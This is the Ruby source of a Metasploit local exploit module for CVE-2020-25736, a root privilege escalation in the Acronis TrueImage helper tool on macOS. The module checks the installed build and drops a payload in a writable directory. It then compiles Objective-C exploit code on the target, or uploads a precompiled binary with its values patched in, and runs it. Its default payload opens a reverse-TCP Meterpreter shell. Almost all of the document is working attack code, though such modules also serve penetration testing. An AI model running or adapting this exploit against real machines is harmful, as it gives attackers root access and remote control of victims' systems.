180 lines
5.8 KiB
Ruby
180 lines
5.8 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Post::File
|
|
include Msf::Post::Common
|
|
include Msf::Post::Process
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Acronis TrueImage XPC Privilege Escalation',
|
|
'Description' => %q{
|
|
Acronis TrueImage versions 2019 update 1 through 2021 update 1
|
|
are vulnerable to privilege escalation. The `com.acronis.trueimagehelper`
|
|
helper tool does not perform any validation on connecting clients,
|
|
which gives arbitrary clients the ability to execute functions provided
|
|
by the helper tool with `root` privileges.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Csaba Fitzl', # @theevilbit - Vulnerability Discovery
|
|
'Shelby Pace' # Metasploit Module and Objective-c code
|
|
],
|
|
'Platform' => [ 'osx' ],
|
|
'Arch' => [ ARCH_X64 ],
|
|
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
|
'Targets' => [[ 'Auto', {} ]],
|
|
'Privileged' => true,
|
|
'References' => [
|
|
[ 'CVE', '2020-25736' ],
|
|
[ 'URL', 'https://kb.acronis.com/content/68061' ],
|
|
[ 'URL', 'https://attackerkb.com/topics/a1Yrvagxt5/cve-2020-25736' ]
|
|
],
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp',
|
|
'WfsDelay' => 15
|
|
},
|
|
'DisclosureDate' => '2020-11-11',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SAFE ],
|
|
'Reliability' => [ REPEATABLE_SESSION ],
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
OptString.new('WRITABLE_DIR', [ true, 'Writable directory to write the payload to', '/tmp' ]),
|
|
OptString.new('SHELL', [ true, 'Shell to use for executing payload', '/bin/zsh' ]),
|
|
OptEnum.new('COMPILE', [ true, 'Compile exploit on target', 'Auto', [ 'Auto', 'True', 'False' ] ])
|
|
])
|
|
end
|
|
|
|
def tmp_dir
|
|
datastore['WRITABLE_DIR'].to_s
|
|
end
|
|
|
|
def sys_shell
|
|
datastore['SHELL'].to_s
|
|
end
|
|
|
|
def compile
|
|
datastore['COMPILE']
|
|
end
|
|
|
|
def compile_on_target?
|
|
return false if compile == 'False'
|
|
|
|
if compile == 'Auto'
|
|
ret = cmd_exec('xcode-select -p')
|
|
return false if ret.include?('error: unable')
|
|
end
|
|
|
|
true
|
|
end
|
|
|
|
def exp_file_name
|
|
@exp_file_name ||= Rex::Text.rand_text_alpha(5..10)
|
|
end
|
|
|
|
def check
|
|
helper_location = '/Library/PrivilegedHelperTools'
|
|
helper_svc_names = [ 'com.acronis.trueimagehelper', 'com.acronis.helpertool' ]
|
|
plist = '/Applications/Acronis True Image.app/Contents/Info.plist'
|
|
|
|
unless helper_svc_names.any? { |svc_name| file?("#{helper_location}/#{svc_name}") }
|
|
return CheckCode::Safe
|
|
end
|
|
|
|
return CheckCode::Detected('Service found, but cannot determine version via plist') unless file?(plist)
|
|
|
|
plutil_cmd = "plutil -extract CFBundleVersion raw \'#{plist}\'"
|
|
build_no = cmd_exec(plutil_cmd)
|
|
return CheckCode::Detected('Could not retrieve build number from plist') if build_no.blank?
|
|
|
|
build_no = build_no.to_i
|
|
vprint_status("Found build #{build_no}")
|
|
return CheckCode::Appears('Vulnerable build found') if build_no > 14170 && build_no < 33610
|
|
|
|
CheckCode::Safe('Acronis version found is not vulnerable')
|
|
end
|
|
|
|
def exploit
|
|
payload_name = Rex::Text.rand_text_alpha(7)
|
|
@payload_path = "#{tmp_dir}/#{payload_name}"
|
|
|
|
print_status("Attempting to write payload at #{@payload_path}")
|
|
unless upload_and_chmodx(@payload_path, generate_payload_exe)
|
|
fail_with(Failure::BadConfig, 'Failed to write payload. Consider changing WRITABLE_DIR option.')
|
|
end
|
|
vprint_good("Successfully wrote payload at #{@payload_path}")
|
|
|
|
@pid = get_valid_pid
|
|
exp_bin_path = "#{tmp_dir}/#{exp_file_name}"
|
|
|
|
if compile_on_target?
|
|
exp_src = "#{exp_file_name}.m"
|
|
exp_path = "#{tmp_dir}/#{exp_src}"
|
|
compile_cmd = "gcc -framework Foundation #{exp_path} -o #{exp_bin_path}"
|
|
|
|
unless write_file(exp_path, objective_c_code)
|
|
fail_with(Failure::BadConfig, 'Failed to write Objective-C exploit to disk. WRITABLE_DIR may need to be changed')
|
|
end
|
|
register_files_for_cleanup(@payload_path, exp_path, exp_bin_path)
|
|
|
|
ret = cmd_exec(compile_cmd)
|
|
fail_with(Failure::UnexpectedReply, "Failed to compile #{exp_src}") unless ret.blank?
|
|
|
|
print_status("Successfully compiled #{exp_src}...Now executing payload")
|
|
else
|
|
print_status("Using pre-compiled exploit #{exp_bin_path}")
|
|
compiled_exploit = compiled_exp
|
|
unless upload_and_chmodx(exp_bin_path, compiled_exploit)
|
|
fail_with(Failure::BadConfig, 'Failed to write compiled exploit. Consider changing WRITABLE_DIR option.')
|
|
end
|
|
|
|
register_files_for_cleanup(exp_bin_path, @payload_path)
|
|
end
|
|
|
|
cmd_exec(exp_bin_path)
|
|
end
|
|
|
|
def objective_c_code
|
|
file_contents = exploit_data('CVE-2020-25736', 'acronis-exp.erb')
|
|
ERB.new(file_contents).result(binding)
|
|
rescue Errno::ENOENT
|
|
fail_with(Failure::NotFound, 'ERB payload file not found')
|
|
end
|
|
|
|
def compiled_exp
|
|
compiled = exploit_data('CVE-2020-25736', 'acronis-exp.macho')
|
|
compiled.gsub!('/tmp/payload', @payload_path)
|
|
compiled.gsub!('/bin/zsh', sys_shell)
|
|
compiled.gsub!("\xEF\xBE\xAD\xDE".force_encoding('ASCII-8BIT'), [@pid.to_i].pack('V'))
|
|
|
|
compiled
|
|
end
|
|
|
|
def get_valid_pid
|
|
procs = get_processes
|
|
return '1' if procs.empty?
|
|
|
|
len = procs.length
|
|
rand_proc = procs[rand(1...len)]
|
|
return '1' if rand_proc['pid'].to_s.blank?
|
|
|
|
rand_proc['pid'].to_s
|
|
end
|
|
end
|